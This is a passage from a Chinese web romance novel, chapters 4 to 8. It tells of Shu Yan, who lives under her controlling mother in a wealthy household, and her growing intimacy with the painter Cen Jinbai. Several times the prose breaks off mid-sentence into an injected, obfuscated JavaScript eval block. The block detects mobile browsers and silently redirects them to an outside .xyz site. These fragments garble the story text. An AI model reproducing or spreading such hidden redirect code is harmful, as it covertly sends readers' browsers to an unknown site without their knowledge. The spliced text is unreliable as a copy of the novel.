他没有给她说后面那几个字的机会。不过既然同意了,也不必说了。 “谢谢。”舒颜刚踏进去一只脚,“我用不用再换一双鞋子呢?” 岑尽白低头看向她那双雪白如藕的脚,两秒后抬头看她:“不用。” “好的。” 岑尽白的房间和他这个人不太一样,居然是以温暖的黄色为主色调装修的,墙纸是黄色的,上面挂着许多画,一幅画是蛇吃果,一幅画是彩色的抽象画,还有许多要不简单到只有一笔的画和要不复杂到满纸都是一种颜色的画。 都是艺术,她也看不懂。 她本来不打算乱看,却看见自己的眼前闪过一个身影,然后听见啪嗒一声,她只好看去,发现岑尽白将她正前方、她还没注意到的、摆在桌子上的一个画框,用手倒扣。 这是,不能让她看的意思? 舒颜抱歉地朝着岑尽白看一眼,然后抱着自己的衣服找到浴室。 岑尽白等她的背影彻底消失,压下心中的怪异,捏了捏自己的鼻子。 这个房间的结构和她的房间呈现对称形式,舒颜一眼就看出来了,所以她能很熟练地找到浴室在哪。 浴室里,混杂着沐浴露和其他香味,终于不再是被他的气息包裹了,但是那种快要窒息的感受,舒颜觉得还行。 —— 水声响了多久,岑尽白就经受了多久的折磨,也不是,只要她在,对他来说就是一种折磨。 终于停了。 舒颜从浴室中走出来,带着热气和香味。还是那身衣服,头发是湿漉漉的,她只擦拭到不滴水的程度,但是湿发落在颈侧,还是凉到舒颜缩了缩脖子。 紧接着,就是一件毛绒绒的摊子披在她身上,一双手将她的湿发撩起,克制地没有触碰她的皮肤。 “干净的,没人用过。” 岑尽白微微退开,与她保持着安全距离。 舒颜用手紧了紧身上的摊子,说了句:“谢谢你。” 岑尽白身上,还是那件白色的浴袍,不过他刚刚开门时穿得有些随意,浴袍的领子开得有些大,如果她再高一些,甚至可以看见他的胸膛,此时的他已经将领口缩小,锁骨处只露半边,往上是硕大的喉结。 她视线中喉结滚动:“你要回去了吗?” “……对。” 岑尽白自觉让出路,舒颜抬腿往门口走。 不过,舒颜却回了头:“你是画家吗?” 岑尽白回答:“算吧。” 舒颜指了指他房间墙上的那些画:“这些都是你画得吗?” “是的。” 舒颜莞尔,是发自内心赞扬的笑:“画得真好,虽然我看不懂。” 这个笑容,让岑尽白视线中的灯光晃了一下,但他很清楚,那不是因为灯坏了。 岑尽白其实不喜欢和看不懂他画的人交流,对于夸赞,他都是点头,内心也毫无波澜,但是她的夸赞,是不一样的感觉。 “谢谢。”他抿唇,“我最近在练习肖像。” 舒颜笑容顿住。 是她想得那个意思吗? “你……可以帮帮我吗?” 帮什么? “做一下我的模特。” 岑尽白反应过来,自己或许太冒犯了,“抱歉,如果不愿意的话,你也可以拒绝我。这是你的自由。” 舒颜没有立刻回答,而是看向墙上的那些画,发现这些画,没有一个是人像。 或许,他真的需要一个模特。 “可以,什么时间呢?” 岑尽白有些意想不到,几乎在她答应后例立刻道:“我不需要准备什么,随时可以开始。” 舒颜想了想:“那就明天吧。明天下午一点。” 岑尽白看着她的目光,愈发温柔。 出了岑尽白的房间,舒颜终于可以正常呼吸,她摸了摸温凉质感的毯子,又摸了摸自己的发烫的脸颊,觉得自己真是疯了。 疯到搞坏自己浴室的花洒,疯到穿这样短的衣服。 不过也不算是没有收获,至少她能确定,这一墙之隔的人,同样有着对异性的渴望。 没站多久,门内传来男人剧烈的喘息声。 舒颜不想像变态一样听别人的隐私,她打开隔壁的门,进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963601|161169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的房间。 舒芸不在,舒颜松了口气。 她将毯子小心翼翼地折叠好,放在书桌前的椅子上,过了一会儿又觉得放在那里不好,又转头将它藏进被子里。 舒颜扑进被子里,闷声呢喃:“我怎么那么苯啊……” * 因为答应了要给岑尽白当模特,舒颜翻遍了整个衣柜,她都没找到自己认为合适的衣服。 倒不是觉得见岑尽白多重要,只是她人生中拍照的次数都能用一只手数,画肖像还是第一次,她想体面地画一次肖像。 忽然想起秋阿姨说过的话:“女孩子就应该美美的,我像你这么大的时候,衣服一天一个样,发型一周一换……” 她没有裙子,小时候舒芸还会给她买裙子,昨晚那条裙子是小时候仅剩下的了。 舒颜在自己的少量的衣服中,找到一件红色的毛衣,这是她大学时用自己的钱买的。 十二点四十,舒颜准时吃过舒芸送来的午饭,舒芸向她要走手机。 舒颜可以使用手机的时间被严格把控着,从夜间十一点到第二天上午一点,这个时间是要将手机交给舒芸的。原因是因为舒芸觉得现在的电子产品太过害人,虽然舒颜跟她承诺过自己不会沉迷于网络世界,但是舒芸还是要防患于未然。 于此,舒颜只得妥协。 但是她已经22岁了。 “睡一觉吧,妈妈去工作了。”舒芸站在门口。 “好的。”舒颜目视着她将门关上。 门关上一半,舒芸还是回来问:“怎么穿这件衣服?”这是指舒颜身上红色的毛衣。 “我记得你没有这件衣服啊?” 舒颜:“我大学时,你并没有像现在这样每天陪在我身边。”言外之意,我那时候的衣服你不可能见过。 舒芸看着舒颜欲言又止,只好关上门,让自己的女儿好好午睡,以保证下午有一个好的精神继续学习。 舒芸走后,舒颜在床上闭目休息了十分钟,然后起床,穿上自己的拖鞋,前往岑尽白的房间。 她推门而入,岑尽白正坐在自己的阳台,其实她房间的阳台恰好也连接着他房间的阳台。 她一身红色的毛衣,衬得皮肤能掐出来水,眼睛看人时总是带着些无辜,明明是恶魔,却要装出来无害的模样。 岑尽白低头又抬头,“你——” 舒颜歪头:“怎么了?”她语气上扬,双手有些无措地抓着毛衣边缘。 “没什么。很好看。”岑尽白摇头,示意舒颜坐在他对面的那张椅子上。 舒颜松了口气,坐下后将自己的衣服整理了一下,余光中看到毛衣上有一个凸起,原来是起球了,她用手将那一处捂住。 舒颜坐的笔直,问对面那个坐在搭好的画板面前的岑尽白。他在家一直穿得都很是随意,画画时穿得更是,居然穿了白色毛衣,纤尘不染。 他正在调颜色,忽然抬眼向她这边看过来,或许是不小心,他手上端着的颜料忽然倾倒,有几滴不知是何颜色的颜料停留在了白色毛衣上。 “小心!”舒颜提醒,并且从座位上站起来,走了几步到他面前,但又不能直接给他擦,只能皱着眉头看着。 岑尽白抬手让她不必惊慌,和缓道:“这是常有的事情,没事的。” 舒颜还是有些心疼岑尽白的白色毛衣,因为看上去就很贵的样子。 但是她只能退回自己的座位。 岑尽白没有去擦那颜料,而是继续调颜料,并且时不时抬头看舒颜一眼,似乎在思考怎么画。 他的眼神太过于直白,连带着阳台处下午的阳光,一起投射到她身上,冬日里的阳光,只会温暖,不会是这样热的吧? 舒颜有些紧张,毕竟她不知道用什么样的姿势好看。 “我应该做什么呢?我不知道我用什么样的姿势会自然好看些。” 这几句话似乎是在求救,但是岑尽白盯着舒颜看了好久,说了一声抱歉。 他看出了她有一些局促,这是他的失责。 岑尽白起身,不知从哪里拿出来了一本书,书的封面是《博弈论》。 “你可以先看书,不用在意我在画画,也不用在意自己的哪个角度好看,你怎么样都好看。如果觉得累了,你可以看外面,或者是——看我。” 5. 第 5 章 听完岑尽白的话,舒颜开始翻手中的那本书,是本有关心理学的书籍,好久不读书的舒颜,居然在这样的环境下看进去了一本书。 男人对面是女人,男人在看女人,女人在看书。 岑尽白画过许多画,但他极少画人像,无他,不喜欢而已。 但是她的发丝,她的眉眼,她的鼻子,她的唇瓣……一遍遍描摹,早已烂熟于心。 暖色调的天转为冷色调,风和太阳已经疲倦,她拨弄有些遮眼和追到嘴角的发丝,目光是那样沉静,只沉浸在自己的世界。 他同样沉浸。 “好了。” 舒颜记下页码,从书中抬头。 岑尽白将手中的画笔放下,他的身上溅上许多颜料,这是不可避免的,但这丝毫没有减损他的气质。 “过来看看吗?” “嗯。”舒颜合上书,走到画架面前。 她有些惊讶:“你怎么……” 画得真好,她都不相信画上的人是自己。 他捕捉的是她翻页时的一个动作,那时她眉眼舒展,像是这冬日里的独自绽放的红梅,恬静不可接近。 舒颜找不出形容词,只觉得岑尽白在美化自己,眼中惊艳之色不掩,但是嘴角却是平直的。 因为她的弯腰,几撮发丝擦过岑尽白的脸颊,泛起泛起痒意。 岑尽白喉咙难耐地滚动:“画不如人。” 舒颜直起腰,心中怀疑,但还是满怀感激地说:“谢谢你,但是这幅画我现在不能拿走,可以暂时放在你这里吗?”她怕被舒芸发现。 岑尽白将目光她刚刚擦过自己脸颊的发丝上移开,“可以。” 舒颜忍住想要上手摸一摸画的冲动,又欣赏了好一会儿。 临走之际,舒颜还攥着那本《博弈论》,又向岑尽白提出一个要求:“这本书可以借我吗?” “你随意。” 两人对视,岑尽白背着光,舒颜背着紧闭的门,他高大的身影将她笼罩。 舒颜现在已经能够坦然与他对视,就算是那双蓝色的眼睛里怀揣着别样的东西,她也不怕。 “那我走了。”舒颜说。 话音刚落,门外传来脚步声,伴随着舒芸的轻声呼喊:“舒颜,舒颜——你在哪?” 舒颜顿时沉下脸色,觉得手中的书有些烫手了。 她将书推给岑尽白,不听他的那句“别慌”就将门打开,却没有去想打开门之后她该怎么解释。 舒芸像是闪现一样,忽然出现在舒颜的面前,看了一眼这是谁的房间,面色古怪地问她:“你怎么在这里?” 舒颜:“我……”舒颜想了好几秒的措辞,对母亲的恐惧让她的大脑乱成了一锅粥。 而舒芸正皱着眉,唇角平直地看着她,昭示着她的怀疑,昭示着她下一秒可能就会生气。 “我想到一个新的解法,帮你写在书里了,在78页。”身后传来岑尽白的声音,舒颜的手上被塞了一本书。 他的指腹擦过她的手心,带着些温热。 舒颜定睛望去,心下猛一跳。 不是《博弈论》,是《考研数学》。 那本书,正是自己刚来别墅那天,趁着舒芸不注意,扔在了大门外垃圾桶里的考研资料。 “芸姨,我们在讨论题目。”岑尽白深深看了一眼舒颜后,对向舒芸。 舒芸看着从房间里跟着自己女儿身后的岑尽白,不知该作何表情,只好笑:“这样啊……舒颜数学一直都不是很好,脑子转得慢。” 舒颜对此不作声。 岑尽白听此不动声色地看了一眼舒颜,然后道:“我想你应该对自己的女儿多一些信任。” 舒芸脸色尴尬一瞬,说好。 在那本书和岑尽白这几句话的加持下舒芸不好现在就对舒芸进行追问,她狐疑地看向他白衣上刺眼的颜料。 舒颜的手腕被一个掌心有着厚茧的手抓住,舒芸将她拽到身后。 “打扰到你了,谢谢。”舒芸朝着岑尽白鞠了一个躬。 这一举动,让舒颜有些难堪地转头看向别处,紧咬了一下自己的唇瓣。 岑尽白也蹙起了眉头,看向低着头的舒颜,淡声道:“不必如此。” “她打扰到了你,我们该道歉的。舒颜,我们走。”说完舒芸拽着舒颜,进了隔壁的门。 她在岑家干活,实在是不应该得罪岑家的那位,但是这涉及到了舒颜,如果他觉得她态度不好,那就离开岑家。 舒颜瞟了一眼岑尽白,在发现他并没有露出嫌恶的表情后,转身跟着舒芸进了自己的房间。 * “离岑家那位远点,你最好不要痴心妄想!”舒芸回到舒颜的房间后,坐在舒颜的书桌前,对着刚关上门进来的舒颜说。 舒颜没吱声,走到阳台那里,将阳台的门拉上。 “不想被听见?舒颜,你是我生的,你该听我的,妈不会害你,我是过来人,那些有钱人最是傲慢恶心,他们最会伪装,表面上看得起你,其实背地里觉得你连给他们提鞋都不配,你还记得你那个爸……”舒芸会想起刚刚那一幕,心中仍然有后怕。 比起被听见什么,她更在乎的是自己的女儿。 舒颜面上没有任何反应,见舒芸不说了,抬头:“我知道你在担心什么,我有自知之明。” 舒芸望着女儿姣好的容貌好一会儿,站起身,对于未说完的话只是叹了口气,然后走到舒颜身边,抱住她。 舒颜比她高,抱起来却瘦弱无比,舒芸心中刺疼了一下,在女儿的肩膀上留下一滴眼泪。 舒颜是她一手带大的,她为了她吃了好多苦,她一定要保护好她。 舒颜不想要母亲的保护,她只知道现在舒芸拿走了自己的手机,一开始她可能不在意,现在她觉得她有必要在意了。 她在夜晚翻开了那本《考研高数》,翻到了78页,上面写着: “如果下次再见面,可以给一个联系方式吗?” 字迹龙飞凤舞,可见写得很急。 * 岑尽白打开门,在看到舒颜的脸的的那一秒,蓝色的眼睛亮了一下。他还以为因为她会因为她母亲,不会这么快和自己见面。 舒颜看到了他眼神的变化,咬牙道:“我使用手机有限制,如果你想加我联系方式,可以帮我悄悄买一部手机吗?我会给你钱的,不用太贵的。” 她的声音带上些软,面部因为室内暖光的变得更加柔和,语气又是求人,显得有些可怜。 岑尽白握住门把手的手克制地使了劲。 “好。” 舒颜的眼睛里坠着光,笑意抵达:“谢谢你。” 第二天,舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963602|161169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜在阳台那里,拿到了自己的新手机,并且背下了岑尽白的电话号码。 她从枕头下面拿出从自己手机中扣出的电话卡,安装到新手机上,登上自己的微信号,看到微信里有几个联系人发来信息,最上面的那个是“明成与”。 舒颜眸光闪了一下,继而点开那个对话框: 【舒颜,我成功保研楠溪大学了。】 【菲意让我跟你说一声抱歉,这件事确实是谁也没想到的。】 以上两条消息是一年多以前发的了,那时候舒颜就没想回。 【hello,在吗?】 【可以见一面吗?看你什么时候有时间,菲意不会去的,我一个人。】 最新的消息,是三天前发的。 舒颜将心中那串号码输入,点击搜索,出来一个头像是蓝色大海、昵称是一个点的名片,她点击发送验证申请,备注“岑尽白”。 然后又切回明成与的对话框,回了一句: 【好啊,明天见。】 舒颜发完这句话时,发现岑尽白已经同意了好友申请,没有主动去打招呼,按照他说的手机价格将钱转过去,然后将某购物软件下载回来,发给了岑尽白两张图片。 【哪件好看?】 那边是过了两分钟才回复,只有一个数字。 【2】 但是上方仍旧在显示正在输入中,一会儿有一会儿没有的,对方也没有再发过来什么信息,舒颜不知道他还想说什么,催他把钱收了。 转账被成功接收后,舒颜从柜子里拿出那件前几天网上购物买的羽绒服,黄色的韩版长款,设计简单。 她心想,又选黄色,他很喜欢黄色吗? * 晚上十一点,舒芸准时将手机送到舒颜手上。 自从舒颜将手机里的微信删除之后,她就感觉到舒芸并不像以前那样时不时偷看一下她的手机了,所以她敢大胆在自己枕头下面放一部新手机,而舒芸也并没有察觉舒颜的手机已经没有了电话卡。 舒芸将手机放在床头柜之后,嘱咐正在书桌前的舒芸:“早点休息。” 舒颜叫住准备走的舒芸:“妈。” 舒芸回头,问:“怎么了?” “我明天想去市图书馆借点书。” “妈去给你借。” 舒芸站在顶光处,脸的上下一明一暗,白色的眼珠异常突出。 舒颜忽然想起有一年过年,外面的小朋友都在放烟花,她偷偷溜出去,回来时舒芸站在门口,阴沉着一张脸,抱着胸看她,后又温柔地笑着问她:“烟花好看吗?” 记忆中的舒芸与此刻重合,那时她心惊胆战,知道接下来面对的细细的柳条,如今却只是安抚心中的阴影,对着舒芸反问:“我想自己去,你知道怎么在图书馆找书吗?” 舒芸显然被这句话问住,她小学毕业就被父母送到厂子里打工,她没去过什么图书馆。 * 第二天一早,舒颜睁开眼,从枕头下拿出自己的新手机。 岑尽白:【那本书你要来拿吗?】 舒颜回:【不了,我自己去借就好,顺便去约会。】 八点四十,舒颜在镜子前看着摘下眼镜的自己,整理了一下身上的黄色羽绒服,出门。 八点四十五,岑尽白开着一辆黑色卡宴出门。 6. 第 6 章 明成与约见的地方是一家川菜馆,走进去便闻到极重的辣椒味,有些呛鼻,但是舒颜好久没碰过这么刺激的食物了,莫名有些期待。 应该是嫌弃外面的用餐氛围吵吵闹,明与成订的是一个包厢,走进去便看见他端坐在那里,正在烫餐具。 有些热,舒颜进来打了一声招呼后便将黄色的羽绒服脱下,内里是一件白色的打底衫,勾勒出她曼妙的弧度。 舒颜一直忙着弄自己的衣服,并没有看到自她进来后明与成脸上难掩的惊艳之色,等到忙完再去看明与成的表情,舒颜冲他笑笑:“没想到你来挺早。” 明与成清秀的脸上爬上红晕,有些口齿不清道:“我也是刚到。” 接着发自内心看着舒颜来了一句:“舒颜,你好像变了好多……” 舒颜撩了撩头发,入座:“是吗?太久没见了吧。” 确实久,距离学校推免已经过去一年多了。 明与成发现自己看舒颜看得太久,回神之后忙将烫好的餐具递给舒颜。 舒颜接过:“谢谢。” 点菜时舒颜按照自己的心意点的,明与成说他请,舒颜也没客气。 上菜之后,明与成捂住自己的口鼻咳嗽了好多声,对面的舒颜已经得不亦乐乎了。 舒颜唰了贡菜,瞟一眼咳嗽的明与成:“是周菲意跟你说的我喜欢吃辣吧。” 明与成口味清淡,猛喝了一口水之后回:“菲意让我替她跟你道歉,这顿饭算是我们的赔罪。” 贡菜不能在锅里停留太久,舒颜得注意着,一心二用:“你跟周菲意在一起了?” 明与成听此莫名有些心虚,但是舒颜看起来并不是很在意,好像只是谈到这里。 他道:“我们是保研去了一个学校后,才在一起的,没多久。” 舒颜哦了一声。 此后便是无话,但是明与成看着舒颜比之前漂亮百倍的脸,心中的愧疚像洪水一样将他淹没。 菲意跟他提到过,之前三人在一个小组时,舒颜便对他有好感。 一顿饭结束,俩人一同走出店,在门口将要分别时,明与成叫住了舒颜。 他踌躇好久,在舒颜冷淡的脸色下,终是说道:“舒颜,我和菲意都对不起你,一直在找机会和你正式地说一声抱歉,但是发微信一直都联系不上,这顿饭,算是我和菲意共同的赔罪。以后要是有什么需要帮忙的,可以来找我。” 话说得可真漂亮,但是舒颜并不是很接受。 “周菲意确实对不起我,她用的什么手段拿到那个保研名额她自己知道,我也不接受她的道歉,因为这件事她无法弥补。但是明与成,你并不需要道歉,若是你认为你和周菲意在一起会让我不舒服的话,我可以明确告诉你,并没有。” 明与成站在寒风中,听见舒颜这样说周菲意皱眉,下意识想反驳,但是没有,唇角勉强扯出一个弧度:“这样啊,听说你还在准备考研,若是需要资料,可以找我。” 舒颜礼貌冲他感激一笑:“谢谢,我不需要。” “那再见吧。”舒颜转身朝着地铁口去。 明与成望着舒颜的背影,心中恍惚意识到这也许是他们最后一次见面,没由来地想起大学与她同做小组作业时,她望着她的眼神,带着崇拜和少女的怯意。 “舒颜!” 舒颜回头,看着还站在原地的明与成冲她露出一个明朗的露齿笑。 “加油!”祝你前路坦途,前程似锦。 舒颜也回以一笑,比刚刚的笑带着些感情,明媚如春日暖阳,晃了好多人的眼睛。 “你也是。”她回以祝福。 俩人都没有注意到,餐馆的斜前方,停着一辆惹眼的黑色卡宴,车上的人,将他们从餐馆走出到别离的场景,都收入眼中。 舒颜从地铁口出来,往市图书馆赶的路上,头顶上的云遮住了太阳,天色忽然暗起来,紧接着便乌云密布,看上去有下雨的趋势。 行人加快脚步,舒颜也被感染。 像是若有所感,她回头,看见远处有一辆黑色轿车,她没在意地收回视线,踏入了图书馆的大楼。 * 回别墅的路上,舒颜接到了母亲的电话。 “舒颜,今晚我不在别墅,你外婆摔着了,你舅舅给我打电话可着急。” 舒颜对于自己外婆,最大的记忆点就是重男轻女,所以她听此没什么感受。 舒芸又叮咛道:“学习上别放松,日积月累才能成功,睡前记得喝一杯牛奶,没事别在别墅里瞎转悠,我跟太太说过了,她已经找了临时工,到吃饭的点会喊你的。听见了吗?” 舒颜:“知道了。” 电话挂断,舒颜坐在出租车上,听见外面响起了下雨声,冬日里的雨会带来冷气,司机适时将空调温度调高。 别墅区的安保做得极好,出租车一般是进不去的,舒颜在别墅区的入口下车,豆大的雨滴就这样砸在她身上,不过片刻便湿了头发和衣服。 她小跑着往别墅方向,忽然视线中闯入一双半湿的男靴,靠近时带起水渍的弧度,她抬眼,雨幕消失。 可预料又不可预料的脸就这样出现在眼前。 “岑尽白?” “嗯。” 岑尽白将伞调整好,最大可能的罩住她。 “先回去吧,雨太大。”岑尽白低头看了一眼她被雨水洗过的苍白的脸,微微皱眉,用手臂圈住她瘦削的身躯,力求不碰她。 但是冬天衣服臃肿,就算是岑尽白的手臂再长,还是能听到两人布料摩擦的声音。 他照顾着舒颜的步伐,沉稳解释:“抱歉,我不想让你淋雨。” 舒颜看着伞已经倾斜到像是他在给她打伞,而他几乎没有避雨的程度,几乎按捺不住内心的异样。 “没关系,我已经淋湿过了,你还是顾一下你自己吧。”舒颜的声音有些抖,因为即便穿着羽绒服,但还是有雨渗入衣服里面,在皮肤上撩起寒意。 当然,还有其他原因。 她抬头望向岑尽白。 雨滴顺着岑尽白的头发,滑到他的额角,再从额角延至冷白的下颚,滴入他的颈窝。 岑尽白感受到她说话带着颤,低头看她一眼,忽略她表情的深意,右手手臂直接圈住了舒颜的腰,左手拿着的伞全都倾倒在她的头上。 “你——” “得罪了,我们要赶紧走,再这样你会着凉。”岑尽白语速加快地说。 他的得罪是指圈住了她的腰。 舒颜低下头不再看他,感受着腰间的禁锢,跟着他的脚步,睫羽向下,遮住眼中的情绪。 雨越下越大,这在冬天是少见的,大多数冬天,都是下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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舒颜像触电一样与岑尽白分开,还用手捂住自己的唇,看着岑尽白意犹未尽的表情,迟来的羞恼涌上来。 门内出来一位四十岁上下的女人,舒颜猜出是替代舒芸的短工。 “岑少爷!?”周琴惊呼。 “快进来!快进来!怎么淋成这样?” 舒颜和岑尽白对视一眼,舒颜突然觉得受不了他那深邃的蓝色眼眸,率先转移视线,进屋。 周琴是今天刚来岑家的,因为这户人家的长期保姆有急事,她是替她做短工。 她已经见过岑尽白了,他不久前是刚回到家,但是没呆多久就又走了,这回来了还带回来一个漂亮女孩。 “你是?” 俩人已经进来,在地上留下清晰可见的两摊水渍,可见他们在雨中呆得有多久。 舒颜不知该如何介绍自己,有些迟钝道:“阿姨你好,我叫舒颜。” 周琴笑:“你好你好。” 这女孩和岑家的少爷之间一看就不普通,嘴巴都没擦干净,红得跟猴屁股一样。 也真是的,进屋亲不好吗,非要在雨里亲。 周琴在脑海里补了一场豪门狗血大戏,殷勤地冲俩人笑着。 7. 第 7 章 秋月苓刚刚午睡完,准备下楼来点下午茶,就看见两个落汤鸡,一个是她亲儿子,一个是在她家暂住的小女孩。 正在拿毛巾擦身上水的舒颜顿了一下,有些不敢看秋月苓,毕竟她刚刚强吻过她儿子。 而岑尽白在看到自己亲妈下来后,没什么表情,还在注意着舒颜的反应,因为她从进门到现在,都没有再看他一眼。 舒颜:“我去市图书馆借书去了,没看今天的天气,抱歉秋阿姨,弄脏地板了。” 岑尽白在舒颜说话的时候正大光明地看她。 周琴没说话,这是雇家自己的事情。她主动说去厨房准备驱寒汤。 “是得赶紧去,辛苦你了琴姨。”转而走近舒颜,“这算什么事情,主要是你们两个别感冒了,这么大的雨,跟我说一声,我叫司机送你去也行啊。你说是吧,白白——” “嗯。”岑尽白附和母亲。 秋月苓忽然眯眼,凑近看了舒颜的嘴唇,舒颜紧张到舔了一下。 岑尽白眼神立即变得炙热起来,也跟着秋月苓一样紧盯着舒颜的唇。 秋月苓又不动声色瞟了眼自己儿子的嘴唇。 “你俩都吃辣椒了?跟涂了同一个色号的口红一样。”秋月苓说。 舒颜瞳孔微缩,心跳如雷,掌心传来指甲用力抠后的痛意。 “秋阿姨,我是中午吃了川菜,有些冷,我想先去洗个热水澡。”舒颜镇定地回。 秋月苓脸上出现懊恼,立马说:“快去吧,快去吧,光顾着和你说话了。” 舒颜绷直的脊背终于有些放松,逃似的上楼。 直到舒颜的身影消失,岑尽白才舍得收回视线。 然后母子俩面面相窥,岑尽白淡然处之,秋月苓的表情意味深长。 “你也吃了辣椒?”秋月苓带着调侃的声音响起。 岑尽白不回答,试图转移亲妈的注意力:“我爸最近怎么都没回来?” 秋月苓白他一眼:“他回来你也不会注意的。他最近都是半夜十一二点回来,你别给我扯别的,你拱了别人家的小白菜,舒颜妈妈知道了,非扒了你一层皮。” 秋月苓啥没见过,俩人那嘴一看就知道发生了啥事,主要是经验丰富,与岑方启结婚那么多年,夫妻俩有时候亲得狠了,嘴唇就是这样,甚至还会破皮。 “你别管了。”岑尽白这样跟秋月苓说,带着些无力。 好歹是亲生儿子,秋月苓还是可以感觉到儿子情绪,正准备当一回慈母,便听见身后传来男人在叫她的声音。 “老婆我回来了。”岑方启冒着雨,就为了兑现昨天晚上与秋月苓的承诺。这几天太忙,老婆有情绪了,今天特意早点回家陪老婆。 秋月苓听见这个声音立马露出惊喜的表情,忙转身小跑到亲亲老公那里,扑进岑方启的怀里小鸟依人。 “宝宝~你真的回来了!我还以为你骗我呢~”这和岑尽白说话的声音完全不是一个调调的。 岑方启将娇妻搂在怀里,珍重地在秋月苓头顶上落下一吻,“我什么时候骗过你。”余光瞥见自己的儿子离去的背影。 岑尽白对这种场景多见不怪,都是冷眼相看,然后离开。 岑方启:“咱傻儿子身上怎么都是湿的?” 老公一回来,秋月苓就不想管岑尽白的事情了,“可能是嫌这天太热了吧,你知道的,咱儿子一直不太正常。” 虽然这句话说得有些嘲讽,但却是事实。 是的,在夫妻俩看来,岑尽白确实不太正常。从小就不爱哭闹,随了他的德国奶奶,长了一双蓝色的眼睛,像个洋娃娃,就是大人怎么逗都漠视,但是因为长得过于好看,大人忽略了这个不对劲。再大一点岑尽白还是不爱说话,只喜欢拿着画笔画画,画出来的夫妻俩都看不懂,请了老师过来说他们儿子画画天赋极高。 有钱人家对于培养孩子技能这一块确实不马虎,岑家夫妻也是,请名家做老师,送岑尽白去各种国家学习画画,从十岁到二十六岁,岑尽白几乎都生活在国外,夫妻俩有时候也会想念自己的儿子,但是岑尽白说他喜欢呆在国外,只每年回来那么几天。岑方启和秋月苓安慰自己,没有人打扰他们的二人世界。 但是在二十七岁这年,也就是今年,岑尽白忽然就回国了,没有告诉父母为什么,只是说回国休息,秋月苓也着急过一段时间,但是岑方启安慰她,说孩子已经那么大了,有自己的想法,他开心就好。 简而言之,岑尽白的世界里,好像只有绘画,对于父母,他保持着距离,对于其他人,更是如此。 * 因为岑方启好不容易回来吃晚饭,晚饭准备的也丰盛异常,舒芸不在,舒颜被秋月苓自作主张邀请和大家一起吃饭,舒颜犹豫一瞬,转而同意。 饭桌上,舒颜见识到了岑方启和秋月苓之间非一般的浓情蜜意。 秋月苓吃饭几乎不用动筷子,她只需要一个眼神或者是一个字,岑方启立马就能get到她想吃哪个菜,秋月苓吃不下的会毫不顾忌地扔在岑方启的碗里,岑方启会笑着吃下,宠溺地让秋月苓别挑食。 舒颜的眼睛都不敢看他们,但是他们实在旁若无人,后面舒颜也就大胆看过去。 秋月苓觉得自己老公一直在照顾自己吃饭很辛苦,于是主动拿起筷子,就在手边的一个餐盘中夹了一个香菇,“老公你也吃~” 岑方启看了一眼饭桌上的人,舒颜本以为他会碍于她和岑尽白这些小辈在不好意思,谁知也只是看了他们一眼,张嘴吃下。 “谢谢老婆喂的,这是我吃到最好吃的香菇。” 舒颜心中汗颜,岑方启那张威严立体的五官,在秋月苓的面前柔情似水,她想起了舒芸。 转移视线的过程中,与一双蓝色眼睛撞上,但是舒颜假装没看见。 其实她一直都有感觉,岑尽白的眼睛,像是长在她身上一样。 这样热切的目光,是一刻也离不开猎物的,所以,在深夜时再见到这双眼睛,舒颜也只是意外了那么一秒。 “咔哒”一声,是房门被打开的声音。 舒颜没有直接睁开眼睛,而是等待了一会儿,等着那个脚步声走近,阴影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是在这个念头闪过的下一秒,舒颜便被一具比她高出许多也强壮许多的身躯压倒回床上,一只大手护住了她的头,但是舒颜还是因为没反应过来,闷哼一声。 紧接着,舒颜的两只手被两双冰冷的大手抓住,他的身上都是夜间的寒气,刺激地她忍不住哆嗦一下,但是他的呼吸是热的,他的头在她的头上方,离得近了,舒颜看清了他的脸,他的那双蓝色眼睛中,涌动着她无法看清的情绪。 呼吸交错着,落地窗那边的雨声,好像都听不到了。 紧接着,颈间传来湿热的触感,灵动地扫过她的大动脉,留下痕迹。 第一次拥有这种感觉,舒颜心中的异样让她有些排斥,本能地有些推拒,但是她那点力气跟毛毛雨一样,只会换来他更猛烈的攻击。 两唇分开,拉扯出泛着光的银.丝。 他哑声说:“我理解错了?你说得睡/觉,是纯睡/觉吗?” 8. 第 8 章 舒颜脑子被他亲的有些晕乎,老实回答:“不是,是和你doi的那种目垂……” 岑尽白:“……” 难以想象,这张纯到极致的脸,会说出这样露.骨的话。 想目垂他,目垂到了之后呢?但是不目垂,她就要跑了。 真是一个没有耐心的猫。 